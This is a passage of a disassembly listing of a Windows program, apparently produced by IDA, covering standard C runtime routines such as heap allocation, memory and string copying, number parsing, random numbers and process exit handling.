loc_41BECE:				; CODE XREF: sub_41BEC7+27j
		push	[esp+arg_0]
		call	sub_41BEF3
		test	eax, eax
		pop	ecx
		jnz	short locret_41BEF2
		cmp	[esp+arg_4], eax
		jz	short locret_41BEF2
		push	[esp+arg_0]
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jnz	short loc_41BECE


loc_41BEF0:				; CODE XREF: sub_41BEC7+5j
		xor	eax, eax

locret_41BEF2:				; CODE XREF: sub_41BEC7+13j
					; sub_41BEC7+19j
		retn
sub_41BEC7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEF3	proc near		; CODE XREF: sub_41BEC7+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DD3A8
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41BF17
		cmp	esi, dword_4DD3A0
		ja	short loc_41BF49
		push	esi
		call	sub_41EA6B
		test	eax, eax
		pop	ecx
		jz	short loc_41BF49
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41BF17:				; CODE XREF: sub_41BEF3+Dj
		cmp	eax, 2
		jnz	short loc_41BF49
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41BF2C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41BF2F
; ---------------------------------------------------------------------------


loc_41BF2C:				; CODE XREF: sub_41BEF3+2Fj
		push	10h
		pop	esi


loc_41BF2F:				; CODE XREF: sub_41BEF3+37j
		cmp	esi, dword_43CE84
		ja	short loc_41BF56
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41F50E
		test	eax, eax
		pop	ecx
		jnz	short loc_41BF65
		jmp	short loc_41BF56
; ---------------------------------------------------------------------------


loc_41BF49:				; CODE XREF: sub_41BEF3+15j
					; sub_41BEF3+20j ...
		test	esi, esi
		jnz	short loc_41BF50
		push	1
		pop	esi


loc_41BF50:				; CODE XREF: sub_41BEF3+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41BF56:				; CODE XREF: sub_41BEF3+42j
					; sub_41BEF3+54j
		push	esi
		push	0
		push	dword_4DD3A4
		call	dword_427150	; RtlAllocateHeap


loc_41BF65:				; CODE XREF: sub_41BEF3+52j
		pop	esi
		retn
sub_41BEF3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BF70	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41BFC3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41BFB7
		neg	ecx
		and	ecx, 3
		jz	short loc_41BF99
		sub	edx, ecx


loc_41BF93:				; CODE XREF: sub_41BF70+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41BF93


loc_41BF99:				; CODE XREF: sub_41BF70+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41BFB7
		rep stosd
		test	edx, edx
		jz	short loc_41BFBD


loc_41BFB7:				; CODE XREF: sub_41BF70+18j
					; sub_41BF70+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41BFB7


loc_41BFBD:				; CODE XREF: sub_41BF70+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BFC3:				; CODE XREF: sub_41BF70+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41BF70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BFD0	proc near		; CODE XREF: sub_401221+49Fp
					; sub_401221+4BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41C053
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41BFF4
		shr	ecx, 2
		jnz	short loc_41C061
		jmp	short loc_41C015
; ---------------------------------------------------------------------------


loc_41BFF4:				; CODE XREF: sub_41BFD0+1Bj
					; sub_41BFD0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41C022
		test	al, al
		jz	short loc_41C02A
		test	esi, 3
		jnz	short loc_41BFF4
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C061


loc_41C010:				; CODE XREF: sub_41BFD0+8Fj
		and	ebx, 3
		jz	short loc_41C022


loc_41C015:				; CODE XREF: sub_41BFD0+22j
					; sub_41BFD0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41C04E
		dec	ebx
		jnz	short loc_41C015


loc_41C022:				; CODE XREF: sub_41BFD0+2Bj
					; sub_41BFD0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C02A:				; CODE XREF: sub_41BFD0+2Fj
		test	edi, 3
		jz	short loc_41C044


loc_41C032:				; CODE XREF: sub_41BFD0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41C0C6
		test	edi, 3
		jnz	short loc_41C032


loc_41C044:				; CODE XREF: sub_41BFD0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C0B7


loc_41C04B:				; CODE XREF: sub_41BFD0+7Fj
					; sub_41BFD0+F4j
		mov	[edi], al
		inc	edi


loc_41C04E:				; CODE XREF: sub_41BFD0+4Dj
		dec	ebx
		jnz	short loc_41C04B
		pop	ebx
		pop	esi


loc_41C053:				; CODE XREF: sub_41BFD0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C059:				; CODE XREF: sub_41BFD0+A9j
					; sub_41BFD0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C010


loc_41C061:				; CODE XREF: sub_41BFD0+20j
					; sub_41BFD0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C059
		test	dl, dl
		jz	short loc_41C0AB
		test	dh, dh
		jz	short loc_41C0A1
		test	edx, 0FF0000h
		jz	short loc_41C097
		test	edx, 0FF000000h
		jnz	short loc_41C059
		mov	[edi], edx
		jmp	short loc_41C0AF
; ---------------------------------------------------------------------------


loc_41C097:				; CODE XREF: sub_41BFD0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41C0AF
; ---------------------------------------------------------------------------


loc_41C0A1:				; CODE XREF: sub_41BFD0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41C0AF
; ---------------------------------------------------------------------------


loc_41C0AB:				; CODE XREF: sub_41BFD0+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41C0AF:				; CODE XREF: sub_41BFD0+C5j
					; sub_41BFD0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41C0C1


loc_41C0B7:				; CODE XREF: sub_41BFD0+79j
		xor	eax, eax


loc_41C0B9:				; CODE XREF: sub_41BFD0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41C0B9


loc_41C0C1:				; CODE XREF: sub_41BFD0+E5j
		and	ebx, 3
		jnz	short loc_41C04B


loc_41C0C6:				; CODE XREF: sub_41BFD0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41BFD0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C0CE	proc near		; CODE XREF: sub_41C159+4p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41C0D6:				; CODE XREF: sub_41C0CE+34j
		cmp	dword_43D094, 1
		jle	short loc_41C0EE
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C0FD
; ---------------------------------------------------------------------------


loc_41C0EE:				; CODE XREF: sub_41C0CE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43CE88
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41C0FD:				; CODE XREF: sub_41C0CE+1Ej
		test	eax, eax
		jz	short loc_41C104
		inc	edi
		jmp	short loc_41C0D6
; ---------------------------------------------------------------------------


loc_41C104:				; CODE XREF: sub_41C0CE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41C114
		cmp	esi, 2Bh
		jnz	short loc_41C118


loc_41C114:				; CODE XREF: sub_41C0CE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_41C118:				; CODE XREF: sub_41C0CE+44j
		xor	ebx, ebx


loc_41C11A:				; CODE XREF: sub_41C0CE+7Bj
		cmp	dword_43D094, 1
		jle	short loc_41C12F
		push	4
		push	esi
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C13A
; ---------------------------------------------------------------------------


loc_41C12F:				; CODE XREF: sub_41C0CE+53j
		mov	eax, off_43CE88
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41C13A:				; CODE XREF: sub_41C0CE+5Fj
		test	eax, eax
		jz	short loc_41C14B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41C11A
; ---------------------------------------------------------------------------


loc_41C14B:				; CODE XREF: sub_41C0CE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41C154
		neg	eax


loc_41C154:				; CODE XREF: sub_41C0CE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41C0CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C159	proc near		; CODE XREF: sub_401221+306p
					; sub_401ACD+717p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41C0CE
		pop	ecx
		retn
sub_41C159	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C164	proc near		; CODE XREF: sub_41E1D3+93p
		mov	eax, off_43AE2C
		test	eax, eax
		jz	short loc_41C16F
		call	eax ; sub_41D124


loc_41C16F:				; CODE XREF: sub_41C164+7j
		push	offset dword_429028
		push	offset dword_429014
		call	sub_41C24C
		push	offset dword_429010
		push	offset dword_429000
		call	sub_41C24C
		add	esp, 10h
		retn
sub_41C164	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C191	proc near		; CODE XREF: sub_41E1D3+D2p

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_41C1B3
		add	esp, 0Ch
		retn
sub_41C191	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1A2	proc near		; CODE XREF: .packed:0041E2C4p
					; sub_41E2C9+1Cp ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41C1B3
		add	esp, 0Ch
		retn
sub_41C1A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1B3	proc near		; CODE XREF: sub_41C191+8p
					; sub_41C1A2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4DBE34, edi
		jnz	short loc_41C1D0
		push	[esp+4+arg_0]
		call	dword_427104	; GetCurrentProcess
		push	eax
		call	dword_4270FC	; TerminateProcess


loc_41C1D0:				; CODE XREF: sub_41C1B3+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4DBE30, edi
		mov	byte_4DBE2C, bl
		jnz	short loc_41C224
		mov	eax, dword_4DD3BC
		test	eax, eax
		jz	short loc_41C213
		mov	ecx, dword_4DD3B8
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41C212


loc_41C1FF:				; CODE XREF: sub_41C1B3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41C207
		call	eax


loc_41C207:				; CODE XREF: sub_41C1B3+50j
		sub	esi, 4
		cmp	esi, dword_4DD3BC
		jnb	short loc_41C1FF


loc_41C212:				; CODE XREF: sub_41C1B3+4Aj
		pop	esi


loc_41C213:				; CODE XREF: sub_41C1B3+3Cj
		push	offset dword_429034
		push	offset dword_42902C
		call	sub_41C24C
		pop	ecx
		pop	ecx


loc_41C224:				; CODE XREF: sub_41C1B3+33j
		push	offset dword_429040
		push	offset dword_429038
		call	sub_41C24C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41C24A
		push	[esp+4+arg_0]
		mov	dword_4DBE34, edi
		call	dword_42706C	; ExitProcess


loc_41C24A:				; CODE XREF: sub_41C1B3+85j
		pop	edi
		retn
sub_41C1B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C24C	proc near		; CODE XREF: sub_41C164+15p
					; sub_41C164+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_41C251:				; CODE XREF: sub_41C24C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41C264
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41C25F
		call	eax


loc_41C25F:				; CODE XREF: sub_41C24C+Fj
		add	esi, 4
		jmp	short loc_41C251
; ---------------------------------------------------------------------------


loc_41C264:				; CODE XREF: sub_41C24C+9j
		pop	esi
		retn
sub_41C24C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C266	proc near		; CODE XREF: sub_401221+18Fp
					; sub_401221+295p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41FF3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C2A6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C2B3
; ---------------------------------------------------------------------------


loc_41C2A6:				; CODE XREF: sub_41C266+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_41C2B3:				; CODE XREF: sub_41C266+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C266	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2B8	proc near		; CODE XREF: sub_401221+45p
					; sub_401ACD+315Ep ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43AE10, eax
		retn
sub_41C2B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2C2	proc near		; CODE XREF: sub_401221:loc_401379p
					; sub_401221:loc_4016A7p ...
		mov	eax, dword_43AE10
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43AE10, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41C2C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C2E0	proc near		; CODE XREF: sub_401221+12Dp
					; sub_401ACD+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41C35A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41C347


loc_41C2F8:				; CODE XREF: sub_41C2E0+52j
					; sub_41C2E0+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41C31A
		test	al, al
		jz	short loc_41C314


loc_41C309:				; CODE XREF: sub_41C2E0+32j
		mov	al, [esi]
		inc	esi


loc_41C30C:				; CODE XREF: sub_41C2E0+3Fj
		cmp	al, dl
		jz	short loc_41C31A
		test	al, al
		jnz	short loc_41C309


loc_41C314:				; CODE XREF: sub_41C2E0+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C31A:				; CODE XREF: sub_41C2E0+23j
					; sub_41C2E0+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41C30C
		lea	edi, [esi-1]


loc_41C324:				; CODE XREF: sub_41C2E0+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41C353
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41C2F8
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41C353
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41C324
		jmp	short loc_41C2F8
; ---------------------------------------------------------------------------


loc_41C347:				; CODE XREF: sub_41C2E0+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41C996
; ---------------------------------------------------------------------------


loc_41C353:				; CODE XREF: sub_41C2E0+49j
					; sub_41C2E0+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C35A:				; CODE XREF: sub_41C2E0+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41C2E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C360	proc near		; CODE XREF: sub_401221+11Ap
					; sub_401ACD+1C15p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41FF3F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C39F
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C3AC
; ---------------------------------------------------------------------------


loc_41C39F:				; CODE XREF: sub_41C360+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_41C3AC:				; CODE XREF: sub_41C360+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C360	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C3B1	proc near		; CODE XREF: sub_401221+F7p
					; sub_401ACD+2177p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41B9C0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41C3EC
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41C3EC
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41C3E8
		push	2
		push	ebx
		push	esi
		call	sub_420B29
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41C3E8:				; CODE XREF: sub_41C3B1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41C3F6
; ---------------------------------------------------------------------------


loc_41C3EC:				; CODE XREF: sub_41C3B1+18j
					; sub_41C3B1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41C3F6
		and	byte ptr [eax],	0


loc_41C3F6:				; CODE XREF: sub_41C3B1+39j
					; sub_41C3B1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41C46E


loc_41C409:				; CODE XREF: sub_41C3B1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DD281[edx], 4
		jz	short loc_41C41A
		inc	eax
		jmp	short loc_41C434
; ---------------------------------------------------------------------------


loc_41C41A:				; CODE XREF: sub_41C3B1+64j
		cmp	cl, 2Fh
		jz	short loc_41C42E
		cmp	cl, 5Ch
		jz	short loc_41C42E
		cmp	cl, 2Eh
		jnz	short loc_41C434
		mov	[ebp+var_4], eax
		jmp	short loc_41C434
; ---------------------------------------------------------------------------


loc_41C42E:				; CODE XREF: sub_41C3B1+6Cj
					; sub_41C3B1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41C434:				; CODE XREF: sub_41C3B1+67j
					; sub_41C3B1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41C409
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41C46E
		cmp	[ebp+arg_8], 0
		jz	short loc_41C469
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41C452
		mov	edi, esi


loc_41C452:				; CODE XREF: sub_41C3B1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420B29
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41C469:				; CODE XREF: sub_41C3B1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41C478
; ---------------------------------------------------------------------------


loc_41C46E:				; CODE XREF: sub_41C3B1+56j
					; sub_41C3B1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41C478
		and	byte ptr [ecx],	0


loc_41C478:				; CODE XREF: sub_41C3B1+BBj
					; sub_41C3B1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41C4CB
		cmp	edi, ebx
		jb	short loc_41C4CB
		cmp	[ebp+arg_C], 0
		jz	short loc_41C4A8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41C491
		mov	edi, esi


loc_41C491:				; CODE XREF: sub_41C3B1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420B29
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41C4A8:				; CODE XREF: sub_41C3B1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41C4F3
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41C4B8
		mov	esi, eax


loc_41C4B8:				; CODE XREF: sub_41C3B1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420B29
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41C4F3
; ---------------------------------------------------------------------------


loc_41C4CB:				; CODE XREF: sub_41C3B1+CCj
					; sub_41C3B1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41C4E9
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41C4DA
		mov	esi, eax


loc_41C4DA:				; CODE XREF: sub_41C3B1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420B29
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_41C4E9:				; CODE XREF: sub_41C3B1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41C4F3
		and	byte ptr [eax],	0


loc_41C4F3:				; CODE XREF: sub_41C3B1+FCj
					; sub_41C3B1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C3B1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C500	proc near		; CODE XREF: sub_401955+8p
					; sub_401ACD+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41C520


loc_41C50C:				; CODE XREF: sub_41C500+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41C50C


loc_41C520:				; CODE XREF: sub_41C500+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41C500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C52F	proc near		; CODE XREF: sub_401ACD+73F5p
					; sub_401ACD+7424p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41C543
		xor	eax, eax
		jmp	short loc_41C579
; ---------------------------------------------------------------------------


loc_41C543:				; CODE XREF: sub_41C52F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41C573
		mov	esi, [ebp+arg_8]


loc_41C54C:				; CODE XREF: sub_41C52F+42j
		dec	dword ptr [esi+4]
		js	short loc_41C55B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41C562
; ---------------------------------------------------------------------------


loc_41C55B:				; CODE XREF: sub_41C52F+20j
		push	esi
		call	sub_41F8E3
		pop	ecx


loc_41C562:				; CODE XREF: sub_41C52F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41C57D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41C573
		dec	[ebp+arg_4]
		jnz	short loc_41C54C


loc_41C573:				; CODE XREF: sub_41C52F+18j
					; sub_41C52F+3Dj ...
		and	byte ptr [edi],	0


loc_41C576:				; CODE XREF: sub_41C52F+55j
		mov	eax, ebx
		pop	esi


loc_41C579:				; CODE XREF: sub_41C52F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41C57D:				; CODE XREF: sub_41C52F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41C573
		xor	ebx, ebx
		jmp	short loc_41C576
sub_41C52F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C586	proc near		; CODE XREF: sub_41E52A+11Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41C59D
		add	esp, 10h
		retn
sub_41C586	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C59D	proc near		; CODE XREF: sub_41C586+Ep
					; sub_41C7A5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41C5B5:				; CODE XREF: sub_41C59D+46j
		cmp	dword_43D094, 1
		jle	short loc_41C5CD
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_41C5DC
; ---------------------------------------------------------------------------


loc_41C5CD:				; CODE XREF: sub_41C59D+1Fj
		mov	ecx, off_43CE88
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41C5DC:				; CODE XREF: sub_41C59D+2Ej
		test	eax, eax
		jz	short loc_41C5E5
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41C5B5
; ---------------------------------------------------------------------------


loc_41C5E5:				; CODE XREF: sub_41C59D+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41C5F3
		or	[ebp+arg_C], 2
		jmp	short loc_41C5F8
; ---------------------------------------------------------------------------


loc_41C5F3:				; CODE XREF: sub_41C59D+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41C5FE


loc_41C5F8:				; CODE XREF: sub_41C59D+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_41C5FE:				; CODE XREF: sub_41C59D+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41C795
		cmp	eax, 1
		jz	loc_41C795
		cmp	eax, 24h
		jg	loc_41C795
		push	10h
		test	eax, eax
		pop	ecx
